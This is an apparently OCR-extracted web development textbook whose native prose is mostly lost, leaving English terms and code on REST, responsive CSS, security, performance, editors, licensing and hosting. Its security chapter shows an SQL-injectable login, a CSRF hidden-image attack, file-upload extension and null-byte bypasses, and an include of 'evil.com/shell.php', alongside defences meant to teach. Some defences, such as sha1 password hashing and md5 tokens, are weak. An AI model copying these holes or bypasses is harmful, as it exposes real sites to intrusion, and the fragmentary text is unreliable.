border: 4px solid #ddd;
background: #fff;
padding: 30px 0;
margin: 40px auto;
border-radius: 10px;
}
.status, .temp {
display: block;
}
.icon {
margin: 10px 0;
}
429
$(".temp-unit").html(status[0].Temperature.Metric.Unit);
}, "jsonp");
});
(-)
Website Web
430
Conclusion
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
432
() RESTful URL
Everything is Representable Already. But How about More?
REST Self-descriptive
Message Client Server
() HTTP Request Header
GET /foo.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 26 Feb 2013 05:34:16 GMT
Respond
Header
HTTP/1.1 200 OK
Last-Modified: Sun, 03 Mar 2013 20:15:33 GMT
Content-Encoding: gzip
Content-Length: 1448
Content-Type: text/html; charset=utf-8
HTTP REST Request/Response
Self-descriptive
433
example.com/get-all-books
example.com/checkout
example.com/edit-book/123
example.com/category-update/42
example.com/get-history
example.com/add-category
434
example.com/get-all-book
example.com/get-book/123
example.com/book-create
example.com/update-all-books
example.com/book-update/123
example.com/delete-all-books
example.com/book-delete/123
435
GET /books
GET /books/123 123
POST /books
PUT /books Update
PUT /books/123 123 Update
DELETE /books
DELETE /books/123 123
Conclusion
Ubuntu Linux
437
() Mobile Web
99 Problems, But Mobile Ain't One
Mobile Device
.
(%) Mobile Device
Desktop/ Laptop Mobile Web
" Mobile "
Mobile Website
Mobile Device
Website Mobile Device
Website Desktop Web Browser
Mobile Device Desktop Processing
Power Mobile Browser Desktop Browser
Desktop
Website Mobile
Screen Size Mobile Device Screen Size Desktop Screen
Desktop Screen Website Mobile Screen
Site Content
Zoom
Website
Scan Scan
Mobile Screen Desktop Website
Scan Zoom
Scan Desktop Website Mobile
438
Screen Scan
Scan
Website
Mobile User Website
Website Mobile Screen
Website Mobile Screen
Design
Mobile Screen Size Smart Phone
iPhone Size Samsung Galaxy S4 Size Galaxy Note Size
HTC One Size Tablet iPad, iPad Mini, Nexus 7,
Nexus 9 Size Orientation
Portrait Mode Size Landscape Mode
Size
439
440
441
442
<meta charset="UTF-8">
<title>Responsive Design</title>
</head>
<body>
<header>
<a href="#" class="des">Learn more about responsive design?</a>
<span class="logo"></span>
<hgroup>
<h1>A Responsive Design</h1>
<h2>Inspired by the Goldilocks Approach</h2>
</hgroup>
</header>
<nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">Products</a></li>
<li><a href="#">FAQs</a></li>
</ul>
</nav>
<section class="content">
<article></article>
<article></article>
<article></article>
<article></article>
</section>
<footer>
<p>© Copyright 2013. All right reserved.</p>
</footer>
</body>
</html>
body {
font-family: Arial, Helvetica, sans-serif;
line-height: 1.5em;
padding: 0.8em;
max-width: 30em;
margin: 1em auto;
background: #fff;
border: 4px solid #BDC3C7;
box-shadow: 0 0 10px #ddd;
}
a {
color: #2980B9;
text-decoration: none;
border-bottom: 1px dotted #2980B9;
}
a:hover, a:active {
color: #3498DB;
border-bottom: 1px solid #2980B9;
}
header {
text-align: center;
margin-bottom: 1em;
}
.des {
display: block;
font-size: 0.8em;
}
.logo {
font-size: 5em;
color: #E74C3C;
display: block;
margin: 0.5em 0;
}
h1 {
margin: 0;
color: #555;
font-family: Georgia;
font-weight: normal;
font-size: 1.2em;
}
h2 {
font-size: 0.8em;
color: #aaa;
font-weight: normal;
margin: 0;
}
443
444
nav ul {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
}
nav li {
margin: 0 1px 1px 0;
float: left;
width: 49.6%;
}
nav li a {
font-size: 0.9em;
display: block;
color: #fff;
background: #E74C3C;
text-align: center;
border: 0 none;
padding: 0.5em 0;
}
nav li a:hover, nav li a:active {
border: 0 none;
background: #C0392B;
color: #fff;
}
.content {
margin: 1em 0;
}
article {
margin: 0.5em;
height: 80px;
background: #34495E;
}
footer {
text-align: center;
color: #34495E;
font-size: 0.8em;
}
CSS
body Max Width 30em
Screen Size Pixel Mobile Device
Screen Size Resolution Desktop
Pixel Screen Size Screen Size Pixel
Device Smart Phone Tablet
Orientation Portrait Landscape () Screen
445
Screen
Style Screen
Style
Browser (-)
446
447
CSS Rule
Header Element
Float / Navigation Menu Width
Auto Article Element Width
Float Browser (-)
448
.des {
display: block;
float: none;
text-align: center;
margin-top: 0;
}
nav {
background: transparent;
}
nav ul li {
width: 33%;
border: 0 none;
}
article {
width: 46%;
}
}
@media screen and (min-width: 30em) and (max-width: 60em) Media Query
Style Rule () () Screen
@media Query ()
Query
Style Screen
Navigation Menu Article Width
Browser Window Size (-)
449
450
Conclusion
Rockstar Developer
10x Programmer ()
Test-Driven Development, Service Oriented
Architecture, Git, SCRUM, NodeJS, MongoDB, ExpressJS,
Build Automation, Back-end Server Architecture
Email: author@rsdbook.com
Website: http://rsdbook.com
452
Web
Application Security Code
453
Web Application
454
Source: http://xkcd.com/327/
Login Form User Name
Password Database Table -
455
$name = $_POST['name'];
$pass = $_POST['pass'];
$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'"
$result = mysql_query($sql);
if( mysql_nums_row($result) ) {
$_SESSION['auth'] = true;
}
456
mysql_* Function
SQL Injection Attack PDO Prepare Statement
457
new
Keyword
PDO
Instant
Connection String mysql:
Database
Connection String Database
mysql_query( $sql );
458
459
$id = $conn->lastInsertId();
460
CSRF Attack
Website book-del.php
Hidden Element Website <img src="http://example.com/admin/book-del.php?id=1" width="0" height="0">
URL Query
Form
POST Request Submit Delete Request
Form Confirmation Form
Unique Token Generate Form Hidden Input
Generated Token Cookie Request
Server-side Script Cookie Token POST Request Token
CSRF Attack Request Application
Generated Token
Token Form Server-side Script
[ Form ]
<?php
$token = md5(rand(1, 1000) . time());
setcookie("csrf", $token);
?>
<form action="update.php" method="post">
...
<input type="hidden" name="token" value="<?= $token ?>">
</form>
461
[ Server-side Script ]
<?php
$cookie_token = $_COOKIE['csrf'];
$form_token = $_POST['token'];
if($cookie_token != $form_token) exit("Unauthorized Request!");
?>
Input
462
463
File Upload
Code File File Upload
Code Server File File
Database Setting Database
System Command Run Server
Code Attacker
Shell Script
464
Server
File Upload Web Server File
Script File Extension .php PHP Script .pl Perl Script
File Upload
Extension
Attack
.php4 .php3 File
Extension Shell Script .pHp
File Name Space
Extension
Null Character - shell.php
%00.jpg
.jpg File System
Null Character shell.php
File Upload
File Whitelist File Name Extension
Special Character Unicode Character File
Name
File Size
Zip File Uncompress Script Server
Zip File File
465
-
Code include( "http://evil.com/shell.php" );
466
sha1()
() Hash sha1("The quick brown fox jumps over the lazy dog"); 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
-
shal(""); da39a3ee5e6b4b0d3255bfef95601890afd80709
- sha1 Hash ()
Blank String sha1 Hash ()
Hash Password Database
Login Login Information
$email = $_POST['email'];
$password = sha1( $_POST['password'] );
$result = $conn->query( "SELECT * FROM users
WHERE email='$email' AND password='$password'" );
467
$name = $_POST['name'];
$email = $_POST['email'];
$salt = sha1( time() . rand(1, 1000) );
$password = sha1( $salt . $_POST['password'] );
$conn->query( "INSERT INTO users (name. email, password, salt)
VALUES ('$name', '$email', '$password', '$salt')" );
468
OCR Program
OCR
<?= recaptcha_get_html($publickey);
<input type="submit" value="Register">
</form>
469
<?php
include('recaptchalib.php');
$privatekey = "3ipsum45lorem12112amat3336dolar987sit";
$resp = recaptcha_check_answer ($privatekey,
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// CAPTCHA was entered incorrectly
die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .
Link: https://developers.google.com/recaptcha/docs/php
Network Traffic
Network Software
Wifi Router Proxy Server
Application Network Traffic
Application Client Request, Respond
Request/Respond Password
Session/Cookie Data Credit Card No.
Private Information
HTTPS HTTP Secure
HTTPS
HTTP SSL/TLS Protocol Secure Socket Layer
(SSL)
(Encryption)
470
Key
Transport Layer Security (TLS) SSL
HTTPS SSL/TLS HTTP
Request/ Respond Encrypt Request
Encrypt Respond Encrypt
Google, Twitter Website HTTPS
Website HTTP
Login HTTPS
Website Support HTTPS
Web Application HTTPS VeriSign, Thawte Service Provider
SSL Certificate Web Server SSL Module
Setting StartSSL Provider
Setting Provider Web Server
Conclusion
-
Password Protect Protect
- Book Admin Protect Order Admin Authentication
Check Attack
File
- Setting phpinfo() Function Run Test Page
Attack File Name
Access - Index Wrapper
View Template Attacker Location URL
Template Access
"Input Filter Output Escape
" User Data
%
Application Admin Attacker Admin Right
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
472
() Performance Optimization
Best Practices for Speeding Up Your Website
Website
Website ()
()
Website
Website
Website
() ()
Website ()
Server-side (Processing Performance)
Server Client (Communication Performance)
Client Web Browser HTML/CSS/JavaScript, Image
Resource (Rendering Performance)
473
474
475
[ HTML ]
<span class="video"></span>
[ CSS ]
.video {
display: inline-block;
width: 16px;
height: 16px;
background: url(sprites.png) no-repeat 0 -16px;
}
Multiplex HTTP/2
Web Server Web Browser HTTP/2 Support
HTTP/2 Request
HTTP/2 Resource Client
Server Connection Request
Multiplex Connection Resource
Resource Website Performance
476
477
"access
"access
"access
"access
"access
plus
plus
plus
plus
plus
1
0
1
1
1
month"
seconds"
week"
month"
month"
478
Time
Request Cache Expire Header
Application Performance
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
</IfModule>
text/plain
text/html
text/xml
text/css
application/xml
application/xhtml+xml
application/rss+xml
application/javascript
application/x-javascript
image/x-icon
479
Expires CSS, JavaScript Static Content Cache HTML
Dynamic Content Resource Cache
CSS JavaScript HTML
Cache
CSS File <link> Element
@import () CSS
Internet Explorer @import
CSS
@import CSS
CSS JavaScript Minify Minify White Space
JavaScript Variable Function Name
File
Size
cssminifier.com,
jscompress.com, refresh-sf.com Tool Minify CSS
JavaScript File Size % % File Size
Client Server
Web Page Overall Content Size Image
Image File Size Optimize Image
File Size Quality Quality File Size
Yahoo! Tool smushit.com Quality File
480
Conclusion
Website ()
()
()
Optimize
Website
Firebug Browser DevTool Web Page
Request Request Resource
Request Website
Ubuntu Linux
482
() Web Application
Code Editor DevTool
HTML, CSS, JavaScript, jQuery, PHP Code
Text Editor Notepad Editor
Program Text Editor Feature
483
Code
Auto Complete Word Completion
Variable Function Name
Editor Code
IDE Integrated Development Environment
Text Editor
Language
484
Language
Language
Code Plugin
Extension
20.4 Navigation
Navigation
(-) Sublime Text Goto Everywhere
485
486
Popular Sublime
Text 3 Sublime Text 3 Windows, Mac, Linux OS Text
Editor Open Source Software
Trial Version
Sublime Text sublimetext.com Download
Sublime Text 3
Mini-Map Code File
Multiple-Cursor
$name = $_POST['name'];
if($name == $config['name']) { }
487
Code Ctlr+J
Join
Comment ( ) Ctrl+/
Code Character Word Ctrl+Backspace
Select Ctrl+Shift+K
Development
488
Sublime Text
Text Editor
Syntax Highlight, Auto Completion, Navigation
Sublime Text
Sublime Text
Atom
Editor Chromium Browser
JavaScript
Editor Sublime Text Sublime Text
Atom Atom
Sublime
Text Propitiatory Software Open Source Software
Popular Code Editor Sublime Text Atom
Atom: https://atom.io/
Bracket: http://brackets.io/
Notepad++: http://www.notepad-plus-plus.org/
Vim: http://www.vim.org
489
Netbeans: http://netbeans.org/
Eclipse PDT: http://eclipse.org/pdt/
Aptana: http://www.aptana.org/
Zend Studio: http://www.zend.com/en/products/studio/
PHPStorm: http://www.jetbrains.com/phpstorm/
PHPEdit: http://www.phpedit.com/
DreamWeaver: http://www.adobe.com/products/dreamweaver/
PHP Development
490
PHP Development
Text Editor
Language
IDE Text Editor
Code Editing Web Browser, Database Manager, FTP Software, Terminal
Software IDE Development
IDE
Web Development PHP Project PHP
HTML/CSS JavaScript/jQuery
Ajax Application Server-side Client-side Development Focus
IDE
IDE Code Edit
IDE
Software Code Edit
IDE Text Editor Code Editing IDE
IDE Project Development
IDE
IDE Code Edit
Text Editor
Browser DevTools
Browser DevTools Browser DevTools
Tool Firebug Browser Tool
Firefox Browser Addon
Firebug getfirebug.com Mozilla Firefox Download Browser Addon
Install Firefox Menu Web Developer Get More Tools
Firebug
Addon Get More Tools
491
HTML/CSS Firebug
Code File
Style Live
() Panel
Panel
Console
492
493
494
495
Conclusion
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
497
498
() Server-side
PHP
499
Consistence URL
() Web Application Interface Mobile Screen
Responsive Web Design
Twitter Bootstrap Framework Responsive Template
500
Web Developer
Fairway Web
--
--
-- Version 2.1
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
502
()
Everything You Know about Open Source is Wrong
Open Source
jQuery, PHP, MySQL, Apache, Wordpress JavaScript Framework
MVC Framework Open Source Open Source
Developer Web
Development
Open Source Software
Source Code
Software
Software
Software
Software Hardware
Software Third-Party Software
Bundle Software
Software
Software Software
Software
503
Software
Software
Software Copy
Copyright Law
( )
Software End-User License Agreement (EULA) Software
Software
Software Software
Copy Software
(EULA )
" "
" "
( )
Software
Software Binary
Software
User Interface
EULA Software Reverse Engineer
Software
EULA "
"
504
Software ""
Software
Software
Software
EULA
Software
Open Source Software
Open Source Software
Software
Software Open Source
License
Open
Source
Software
GNU Project
Richard Stallman Free Software Foundation (FSF)
Software
EULA Software
Software
Free Software Movement
Open Source
Free Software Foundation Software ()
()
Freedom 0: The freedom to run the program for any purpose.
Freedom 1: The freedom to study how the program works, and change it to make it do what you
wish.
Freedom 2: The freedom to redistribute copies so you can help your neighbor.
Freedom 3: The freedom to improve the program, and release your improvements (and modified
versions in general) to the public, so that the whole community benefits.
505
Software
Software
Source Code Software
Source Code () () Source
Code
Software
Software Freedom FSF Free
Libre ( )
Free Software Software
FSF Free "free as in free speech, not as in free beer"
506
Free Software Open Source Software Free and Open Source Software (FOSS)
OSI FOSS
Department of
Defense Free Software Open Source Software FOSS
Free/Libre/Open Source Software FLOSS
Free Software
Open Source Software
FLOSS
Software
Open Source Software
Open Source Software
Software
Software Software
EULA
Software
Open Source Software
GNU, OSI Open Source
Open Source
" "
Open Source License
507
Software
Software
Version GPL
Software
Software GPL
Software
Software
Version LGPL
Software
Software
3. BSD License
Software
Software
Version
Version Promote
( )
4. MIT License
Software
Software
Software
5. Apache License
Software
Software
Version
Software File
Choosing A License
GPL GPL
Open Source
Open Source Software Software Open Source
Open Source
Software Open Source
Open
Open Source Software GPL
BSD, MIT BSD MIT
508
Mozilla License, Creative Common, CPAL Open
Source Mozilla Apache
Creative Common Software Document Text
Content pwdbook.com
Creative Common
GPL, LGPL Open Source
GPL Software Linux
OS Download CPAL
Credit
Software Open Source
- PHP
Open Source GPL MIT
Conclusion
Open Source
Open Source Software
Open Source Project
509
()
Picking a Web Hosting
Web Application
Device IP Address
Public IP
Web Server Software IP Address
Web Server
Host Server
Server OS Server Main Power Backup Power
Server 24/7 Run
Maintenance
(CCTV, Security Guard)
Server Host
Data Center
510
Center
Maintenance Server
Data Center Data Center
Server Setting System
Administration Performance Server
Environment Apache, PHP MySQL Software
Application File FTP Setting
Server Update Software Installation Remote Administration
Server Email Setting Resource
Monitoring
Logging Setting
Data Center Server Host System Administration
511
512
Share Host
Software Application
Language, Database
Domain Name
513
Domain Name Server
example.com example.com
Server Hosting Server Control Panel
Domain Name Domain Name Interface
Hosting DNS Server Hosting Control Panel
Tech Support Email DNS Address Domain Name
Interface DNS Setting DNS Address
example.com Server
Domain Name System (DNS) Phone Book Phone Book
DNS Phone Book IP Address Domain Name Domain Name
Server
IP Address DNS Database
IP Address IP Address Domain
Name
514
Conclusion
Hosting
Share Host () ()
Dedicated Host ()
()
Amazon AWS, Google AppEngine, RackSpace, AppFog Hosting Cloud Hosting
Cloud Hosting Capacity
Capacity
Capacity
Cloud
...
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
http://www.w3.org/wiki/Web_Standards_Curriculum
http://en.wikipedia.org/wiki/Http
https://http2.github.io/faq
http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
http://en.wikipedia.org/wiki/Xhtml
http://reference.sitepoint.com/css
http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
http://developer.mozilla.org/en-US/docs/Web/JavaScript
http://javascript.crockford.com
http://api.jquery.com
http://fairwayweb.com/shortcut-to-jquery
http://fairwayweb.com/jquery-creating-elegant-todo-list
http://unixpapa.com/js/key.html
http://en.wikipedia.org/wiki/Php
http://en.wikipedia.org/wiki/.NET_Framework
http://en.wikipedia.org/wiki/JavaEE
http://php.net/quickref.php
http://en.wikipedia.org/wiki/Mysql
[Book] MySQL Database Usage & Administration by Vikram Vaswani
http://fairwayweb.com/mysql-making-design-decision
http://www.php.net/manual/en/ini.list.php
http://httpd.apache.org/docs/current/mod/quickreference.html
http://fairwayweb.com/php-simple-router
http://en.wikipedia.org/wiki/Ajax_(programming)
http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
http://developer.mozilla.org/en/docs/AJAX
http://fairwayweb.com/persistent-todo-list-with-ajax
http://codex.wordpress.org/Template_Hierarchy
[Book] The Pragmatic Programmer: From Journeyman to Master by Dave Thomas and Andy Hunt =
http://fairwayweb.com/tinymvc-php-micro-framework
http://diveintohtml5.info
http://en.wikipedia.org/wiki/Html5
http://fairwayweb.com/html5-solve-common-hassles
http://www.whatwg.org/specs/web-apps/current-work/multipage
[Book] Web API Design by Brian Mulloy
http://fairwayweb.com/you-should-rest
http://twitter.github.io/bootstrap
http://goldilocksapproach.com
http://www.owasp.org/index.php/Main_Page
http://php.net/manual/en/book.pdo.php
http://fairwayweb.com/open-source-history-license-model
http://www.quackit.com/web_hosting/tutorial/what_is_web_hosting.cfm
http://developer.yahoo.com/performance/rules.html
515